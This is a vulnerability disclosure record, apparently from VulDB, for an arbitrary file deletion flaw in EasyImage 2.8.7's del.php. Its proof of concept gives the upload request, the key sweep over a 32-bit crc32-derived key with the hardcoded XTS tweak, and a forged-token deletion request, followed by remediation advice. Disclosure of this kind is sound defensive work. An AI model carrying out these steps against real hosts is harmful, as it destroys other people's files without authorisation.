| Title | icret EasyImages2.0 / EasyImage (PHP image hosting) 2.8.7 (APP_VERSION; master branch, commit dcb9776cb9567b9280306471a66d96b4b733a0a1, 2026-08-22) Arbitrary File Deletion |
|---|
| Description | Summary
Every upload returns a delete link `app/del.php?hash=<token>`; the token is AES-128-XTS of the file path with key `(string)crc32($config['password'])` (32 bits, hardcoded tweak). In `del.php` the `$_GET['hash']` branch runs **before** the admin authentication gate, so a forged or recovered token deletes any hosted file with no session. Because anonymous upload is on by default, the attacker's own upload provides a known-plaintext/ciphertext pair, and the 2^32 key space falls to a ~14-minute offline sweep — after which tokens for any predictable `/i/YYYY/MM/DD/` path can be forged byte-identically to server-issued links.
Reproduction
Step 1 — attacker uploads own canary and receives a legitimate token (known-plaintext pair):
```http
POST /app/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----poc
------poc
Content-Disposition: form-data; name="file"; filename="canary.png"
<binary>
------poc--
HTTP/1.1 200 OK
{"result":"success","code":200,"url":"http://<HOST>/i/2026/09/29/canary.png",
"del":"http://<HOST>/app/del.php?hash=<LEGIT_TOKEN>"}
```
Step 2 — recover the 32-bit key fully offline (trial-decrypt the known pair for every candidate; full-plaintext equality filter):
```
key = (string)i, i in [0, 2^32), AES-128-XTS, tweak 'sciCuBC7orQtDhTO'
verified sweep: full 2^32 in 850.7 s (~14 min, 16 parallel PHP workers,
~650k candidates/s single thread; 213 prefix false positives rejected)
```
Step 3 — forge a token for the target path (deterministic cipher ⇒ byte-identical to what the server itself would issue) and delete it with no session:
```http
GET /app/del.php?hash=<FORGED_TOKEN_FOR_/i/2026/09/29/victim.png> HTTP/1.1
HTTP/1.1 200 OK
{"code":200,"msg":"删除成功","type":"success","icon":"ok-sign","mode":"delete",
"url":"\/i\/2026\/09\/29\/victim.png"}
```
Contrast control — without a `hash` parameter the gate applies:
```http
POST /app/del.php HTTP/1.1
mode=delete&url=/i/2026/09/29/xxx.png
Permission denied
```
Both configured deletion modes were exercised: `image_recycl=1` (default) moves the file to `/i/recycle/` (file gone from its URL); `image_recycl=0` permanently unlinks it from disk.
Remediation
1. Move the `$_GET['hash']` branch behind the `is_who_login('admin')` gate (or require an authenticated, authorized delete session for all paths).
2. Replace the `crc32($config['password'])` key derivation with a random per-install 256-bit key stored outside predictable config constants.
3. Validate the resolved path stays under the uploads root (`realpath()` + prefix check) before `@unlink()`.
4. Consider requiring a per-file random secret in delete links (not derivable from the global password). |
|---|
| Source | ⚠️ https://gist.github.com/yyz8097/bc58546872ad90208d2b35260d84b1d9 |
|---|
| User | yyz8097 (UID 100479) |
|---|
| Submission | 09/29/2026 11:58 (28 days ago) |
|---|
| Moderation | 10/25/2026 14:13 (26 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 426203 [icret EasyImage up to 2.8.7 app/del.php hash privileges management] |
|---|
| Points | 20 |
|---|